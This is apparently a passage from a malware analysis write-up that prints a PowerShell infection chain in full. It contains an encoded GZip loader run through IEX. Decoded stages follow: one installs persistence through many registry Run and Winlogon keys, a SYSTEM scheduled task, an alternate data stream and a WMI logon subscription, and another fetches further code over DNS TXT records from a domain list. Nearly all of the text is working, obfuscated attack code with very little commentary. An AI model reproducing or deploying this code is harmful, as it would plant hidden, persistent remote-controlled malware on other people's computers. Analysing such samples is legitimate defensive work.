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');$ms=New-Object System.IO.MemoryStream;$ms.Write($data,0,$data.Length);$ms.Seek(0,0)|Out-Null;$cs=New-Object System.IO.Compression.GZipStream($ms,[System.IO.Compression.CompressionMode]::Decompress);$sr=New-Object System.IO.StreamReader($cs);IEX($sr.readtoend())

Base64 decoding and then GZip decompressing the above stream we get:

${/=\___/\_/=\/=\/=} = @'
$data=[System.Convert]::FromBase64String('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');$ms=New-Object System.IO.MemoryStream;$ms.Write($data,0,$data.Length);$ms.Seek(0,0);$cs=New-Object System.IO.Compression.GZipStream($ms,[System.IO.Compression.CompressionMode]::Decompress);$sr=New-Object System.IO.StreamReader($cs);IEX $sr.readtoend();
'@
${_/====\___/=\/\__} = [System.Text.Encoding]::Unicode.GetBytes(${/=\___/\_/=\/=\/=})
${___/\/==\/=\/==\_} =[Convert]::ToBase64String(${_/====\___/=\/\__})
New-ItemProperty -Path 'HKCU:\Control Panel\Desktop' -Name 'IE' -Value ${___/\/==\/=\/==\_} -force
${_/=\/==\/\/\/==\/} = @'
$b64=(Get-ItemProperty -Path 'HKCU:\Control Panel\Desktop').IE;$stCode=[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($b64));[System.Threading.Mutex]$m;[bool]$mtmp=$false;$m=New-Object System.Threading.Mutex($true, [string]1823821749, [ref] $mtmp);if(!$mtmp){exit;}IEX $stCode;
'@
${/=\___/===\_/==\_} = [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes(${_/=\/==\/\/\/==\/}))
try{New-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'IE' -Value "powershell.exe -ep bypass -noni -w hidden -e ${/=\___/===\_/==\_}" -force
} catch{}
try{New-ItemProperty -Path 'HKLM:\Software\Microsoft\Windows\CurrentVersion\RunOnce' -Name 'IE' -Value "powershell.exe -ep bypass -noni -w hidden -e ${/=\___/===\_/==\_}" -force
} catch{}
try{New-ItemProperty -Path 'HKLM:\Software\Microsoft\Windows\CurrentVersion\RunServices' -Name 'IE' -Value "powershell.exe -ep bypass -noni -w hidden -e ${/=\___/===\_/==\_}" -force
} catch{}
try{New-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion' -Name 'IE' -Value "powershell.exe -ep bypass -noni -w hidden -e ${/=\___/===\_/==\_}" -force
} catch{}
try{New-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'IE' -Value "powershell.exe -ep bypass -noni -w hidden -e ${/=\___/===\_/==\_}" -force
} catch{}
try{ndr -Name HKU -PSProvider Registry -Root HKEY_USERS
New-ItemProperty -Path 'HKEY_USERS\.Default\Software\Microsoft\Windows\CurrentVersion\Run' -Name 'IE' -Value "powershell.exe -ep bypass -noni -w hidden -e ${/=\___/===\_/==\_}" -force
} catch{}
try{New-ItemProperty -Path 'HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon' -Name 'IE' -Value "powershell.exe -ep bypass -noni -w hidden -e ${/=\___/===\_/==\_}" -force
} catch{}
try{New-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Services\VxD' -Name 'IE' -Value "powershell.exe -ep bypass -noni -w hidden -e ${/=\___/===\_/==\_}" -force
} catch{}
try{ndr -Name HKCR -PSProvider Registry -Root HKEY_CLASSES_ROOT
New-ItemProperty -Path 'HKCR:\vbsfile\shell\open\command' -Name 'IE' -Value "powershell.exe -ep bypass -noni -w hidden -e ${/=\___/===\_/==\_}" -force
} catch{}
function Invoke-PrepareScheduledTask
{ ${_/===\_/\/\/=\__/} = 'IE'
${/=\/\_/=====\/\/\} = Get-ScheduledTask -TaskName ${_/===\_/\/\/=\__/} -ErrorAction SilentlyContinue
if (${/=\/\_/=====\/\/\} -ne $null)
{  Unregister-ScheduledTask -TaskName ${_/===\_/\/\/=\__/} -Confirm:$false
}
New-ItemProperty -Path 'HKCU:\Control Panel\Desktop' -Name 'IE11' -Value 'IEX ([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((Get-ItemProperty -Path HKCU:\Control` Panel\Desktop).IE)))' -force
${__/\/\__/\_/\/\/\} = New-ScheduledTaskAction -Execute 'powershell.exe' -Argument "-ep bypass -noni -w hidden -C IEX((Get-ItemProperty -Path 'HKCU:\Control Panel\Desktop').IE11)"
${_/\___/\___/==\/=} = New-ScheduledTaskTrigger -AtStartup -RandomDelay 00:10:00
${__/=\____/=\/==\_} = New-ScheduledTaskSettingsSet -Compatibility Win8
${/=\______/=\/==\_} = New-ScheduledTaskPrincipal -UserId SYSTEM -LogonType ServiceAccount -RunLevel Highest
${_/\/\_/=\/\____/=} = New-ScheduledTask -Action ${__/\/\__/\_/\/\/\} -Principal ${/=\______/=\/==\_} -Trigger ${_/\___/\___/==\/=} -Settings ${__/=\____/=\/==\_} -Description "Run $(${_/===\_/\/\/=\__/}) at startup"
Register-ScheduledTask -TaskName ${_/===\_/\/\/=\__/} -InputObject ${_/\/\_/=\/\____/=}
${/=\/\_/=====\/\/\} = Get-ScheduledTask -TaskName ${_/===\_/\/\/=\__/} -ErrorAction SilentlyContinue
}
function Invoke-WMI-Pers
{ ${/=\_/==\/\__/=\_/} = [convert]::ToInt32($($PSVersionTable.PSVersion.Major|Out-String).Trim())
${/=\/\/===\_/===\_} = $env:programdata + '\Windows'
${_/=====\___/\/==\} = 'kernel32.dll'
if (${/=\_/==\/\__/=\_/} -gt 2)
{  sc -Path ${/=\/\/===\_/===\_} -Value ${/=\___/\_/=\/=\/=} -Stream 'kernel32.dll'
}
${/=====\___/==\__/} = New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())
if (${/=====\___/==\__/}.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator) -eq $true)
{  ${/=\/==\/==\_/\_/=} = 'kernel32_Filter';
  ${_/\/=\_/==\_/=\_/} = 'kernel32_Consumer';
  gwmi __eventFilter -namespace root\subscription | Remove-WmiObject
  gwmi CommandLineEventConsumer -Namespace root\subscription | Remove-WmiObject
  gwmi __filtertoconsumerbinding -Namespace root\subscription | Remove-WmiObject
  ${/===\_/\/=\_/\/=\} = Set-WmiInstance -Computername $env:COMPUTERNAME -Namespace 'root\subscription' -Class __EventFilter -Arguments @{Name = ${/=\/==\/==\_/\_/=}; EventNamespace = 'root\CIMV2'; QueryLanguage = 'WQL'; Query = "Select * from __InstanceCreationEvent within 30 where targetInstance isa 'Win32_LogonSession'"}
  if (${/=\_/==\/\__/=\_/} -gt 2)
  {${___/\/==\/=\/===\} = [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes("IEX `$(Get-Content -Path ${/=\/\/===\_/===\_} -Stream ${_/=====\___/\/==\}|Out-String)"))
  Set-WmiInstance -Computername $env:COMPUTERNAME -Namespace 'root\subscription' -Class CommandLineEventConsumer -Arguments @{Name = ${_/\/=\_/==\_/=\_/}; ExecutablePath = 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'; CommandLineTemplate = "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ep bypass -noni -w hidden -e ${___/\/==\/=\/===\} "}
  }
}}
Invoke-WMI-Pers
Invoke-PrepareScheduledTask
IEX ${_/=\/==\/\/\/==\/}

The payload established persistence via multiple locations in the Windows Registry. Establishes persistence via WMI to execute during Windows Logon. There’s also a new payload to decode, same drill. Here’s what we get:

${/=\____/=\__/==\_} = 100
function Download-Big-TXT
{[CmdletBinding()]param([Parameter(ValueFromPipeline=$True)]$DomainList, [Parameter(ValueFromPipeline=$True)]${_____/\/=\/\/\__/\});
${_/\/=\______/====} = '';
${/=\_/\/=\/\__/=\_} = _/=\/\_/\__/\/\/\_ $DomainList;
${/=\/==\/\_/\___/=} = 0;
${__/\__/===\____/\/} = "$(__/\___/=\__/===\/).${_____/\/=\/\/\__/\}.${/=\/==\/\_/\___/=}.${/=\_/\/=\/\__/=\_}";
${/=\_/=\_/=\___/\_} = ____/\_/\_/\/\_/\_ ${__/\__/===\____/\/};
if (${/=\_/=\_/=\___/\_} -eq 0) { return 0
}
while (${/=\_/=\_/=\___/\_} -ne $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('MAAuADAALgAwAC4AMAA='))))
{ Write-Host $ExecutionContext.InvokeCommand.ExpandString([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('SQBwADoAIAAkAHsALwA9AFwAXwAvAD0AXABfAC8APQBcAF8AXwBfAC8AXABfAH0A')));
${_/\/==\_/\_/==\__} = __/=====\/=\_/===\ ${/=\_/=\_/=\___/\_};
${__/==\/\___/===\/} = __/\/=\/=\/\_/\/\/ ${_/\/==\_/\_/==\__};
Write-Host ${__/==\/\___/===\/};
${___/===\_/=\/\/=\} = (__/=\__/\_/\/==\/= ${__/\__/===\____/\/}) -join '';
if (${___/===\_/=\/\/=\} -eq 0) {  return 0
}
${_/==\/\/\_/===\/\} = new-object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider;
${__/==\___/\/\/=\/} = (${_/==\/\/\_/===\/\}.ComputeHash([system.Text.Encoding]::UTF8.GetBytes(${___/===\_/=\/\/=\})) | foreach{$_.ToString("X2") }) -join "";
${_/\/\/\_/==\_/=\/} = ____/==\/===\_/\/= ${__/==\___/\/\/=\/}.Substring(0, 8) | __/\/=\/=\/\_/\/\/; if([string]${__/==\/\___/===\/} -eq [string]${_/\/\/\_/==\_/=\/})
{ ${_/\/=\______/====} += ${___/===\_/=\/\/=\};
${/=\_/\/=\/\__/=\_} = _/=\/\_/\__/\/\/\_ $DomainList;
${/=\/==\/\_/\___/=}++;
}
${__/\__/===\____/\/} = "$(__/\___/=\__/===\/).${_____/\/=\/\/\__/\}.${/=\/==\/\_/\___/=}.${/=\_/\/=\/\__/=\_}";
${/=\_/=\_/=\___/\_} = ____/\_/\_/\/\_/\_ ${__/\__/===\____/\/};
if (${/=\_/=\_/=\___/\_} -eq 0) {  return 0
}}
return [string]${_/\/=\______/====};
}
function _/=\/\_/\__/\/\/\_
{param([array]$DomainList)
if($DomainList.count -eq 1)
{ return $DomainList;
}
return $DomainList[(Get-Random -Maximum ([array]$DomainList).count)];
}
function __/\___/=\__/===\/()
{${/=\_/\/=\/====\/=} = gwmi Win32_BIOS | Select -ExpandProperty SerialNumber ;
${_/==\/\/\_/===\/\} = new-object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider;
${__/==\___/\/\/=\/} = (${_/==\/\/\_/===\/\}.ComputeHash([system.Text.Encoding]::UTF8.GetBytes(${/=\_/\/=\/====\/=})) | %{$_.ToString("X2") }) -join "";
return ${__/==\___/\/\/=\/}.Substring(0, 10);
}
function _/==\/==\___/=\_/\
{[CmdletBinding()]param([Parameter(ValueFromPipeline=$True)][array]$DomainList, [scriptblock]${_/=\__/\_/=\/=\___});
if((-not $DomainList) -or ($DomainList.count -eq 0))
{ Throw $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TgBvACAAZABvAG0AYQBpAG4AcwA=')));
}
${/=\_/\/=\/\__/=\_} = _/=\/\_/\__/\/\/\_ $DomainList;
try
{ return &${_/=\__/\_/=\/=\___} -Domain ${/=\_/\/=\/\__/=\_};
}
catch
{ Write-Debug $ExecutionContext.InvokeCommand.ExpandString([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('RQByAHIAbwByADoAIAAkAGUAcgByAG8AcgA=')));
return _/==\/==\___/=\_/\ ([array]($DomainList | ? {$_ -ne ${/=\_/\/=\/\__/=\_} })) ${_/=\__/\_/=\/=\___};
}}
function ____/\_/\_/\/\_/\_
{[CmdletBinding()] param([Parameter()]${__/\__/===\____/\/});
Write-Debug $ExecutionContext.InvokeCommand.ExpandString([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('WwBEAE4AUwBdACAAKABBACkAIAA9AD0APgAgACQAewBfAF8ALwBcAF8AXwAvAD0APQA9AFwAXwBfAF8AXwAvAFwALwB9AA==')));
${_/=====\/\_/=\_/=} = nslookup -type=a ${__/\__/===\____/\/} 2>&1;
${_____/=\___/\_/==} = [regex] $ExecutionContext.InvokeCommand.ExpandString([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('XABzACoAJAB7AF8AXwAvAFwAXwBfAC8APQA9AD0AXABfAF8AXwBfAC8AXAAvAH0AKAAuAGwAbwBjAGEAbABkAG8AbQBhAGkAbgApACoAXABzACoAQQBkAGQAcgBlAHMAcwAoAGUAcwApACoAOgBcAHMAKgAoAFsAXABkAFwALgBdACoAKQA=')));
${____/\__/==\_/\__} = ${_____/=\___/\_/==}.Match(${_/=====\/\_/=\_/=});
${/==\/\/\_/\__/\__} = 0
while ((-not ${____/\__/==\_/\__}.Success) -and (${/=\____/=\__/==\_} -ne ${/==\/\/\_/\__/\__})){ sleep -s 5
${/==\/\/\_/\__/\__} = ${/==\/\/\_/\__/\__} + 1
${_/=====\/\_/=\_/=} = nslookup -type=a ${__/\__/===\____/\/} 2>&1;
${_____/=\___/\_/==} = [regex] $ExecutionContext.InvokeCommand.ExpandString([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('XABzACoAJAB7AF8AXwAvAFwAXwBfAC8APQA9AD0AXABfAF8AXwBfAC8AXAAvAH0AKAAuAGwAbwBjAGEAbABkAG8AbQBhAGkAbgApACoAXABzACoAQQBkAGQAcgBlAHMAcwAoAGUAcwApACoAOgBcAHMAKgAoAFsAXABkAFwALgBdACoAKQA=')));
${____/\__/==\_/\__} = ${_____/=\___/\_/==}.Match(${_/=====\/\_/=\_/=});
}
if (-not ${____/\__/==\_/\__}.Success) { return 0
}
return ${____/\__/==\_/\__}.Groups[3].Value;
}
function __/=\__/\_/\/==\/=
{[CmdletBinding()]param([Parameter()]${__/\__/===\____/\/});
Write-Debug $ExecutionContext.InvokeCommand.ExpandString([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('WwBEAE4AUwBdACAAKABUAFgAVAApACAAPQA9AD4AIAAkAHsAXwBfAC8AXABfAF8ALwA9AD0APQBcAF8AXwBfAF8ALwBcAC8AfQA=')));
${_/=====\/\_/=\_/=} = nslookup -type=txt ${__/\__/===\____/\/} 2>&1;
${_____/=\___/\_/==} = [regex] $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('KAAiAFsAXgBcAHMAXQAqACIAXABzACoAKQArAA==')));
${__/======\/===\__} = ${_____/=\___/\_/==}.Matches(${_/=====\/\_/=\_/=});
${/==\/\/\_/\__/\__} = 0
while ((${__/======\/===\__}.count -eq 0) -and (${/=\____/=\__/==\_} -ne ${/==\/\/\_/\__/\__})){ sleep -s 5
${/==\/\/\_/\__/\__} = ${/==\/\/\_/\__/\__} + 1
${_/=====\/\_/=\_/=} = nslookup -type=txt ${__/\__/===\____/\/} 2>&1;
${_____/=\___/\_/==} = [regex] $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('KAAiAFsAXgBcAHMAXQAqACIAXABzACoAKQArAA==')));
${__/======\/===\__} = ${_____/=\___/\_/==}.Matches(${_/=====\/\_/=\_/=});
}
if (${__/======\/===\__}.count -eq 0) { return 0
}
return (${_____/=\___/\_/==}.Matches(${_/=====\/\_/=\_/=}) | Select -ExpandProperty Value) -join '' -replace '"' -replace '`n' -replace ' ';
}
function ___/\___/==\__/=\/
{[CmdletBinding()]Param ([Parameter(Mandatory=$True,ValueFromPipeline=$True,ValueFromPipelineByPropertyName=$True)][byte[]] $byteArray = $(Throw($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('LQBiAHkAdABlAEEAcgByAGEAeQAgAGkAcwAgAHIAZQBxAHUAaQByAGUAZAA='))))))
Process
{ ${/===\___/\_/==\__} = New-Object System.IO.MemoryStream;
${/===\___/\_/==\__}.Write($byteArray, 0, $byteArray.Length);
$null = ${/===\___/\_/==\__}.Seek(0,0);
${__/\___/\_/==\__/} = New-Object System.IO.Compression.GZipStream(${/===\___/\_/==\__}, [System.IO.Compression.CompressionMode]::Decompress);
${_/\/=\_/\____/\/=} = New-Object System.IO.MemoryStream;
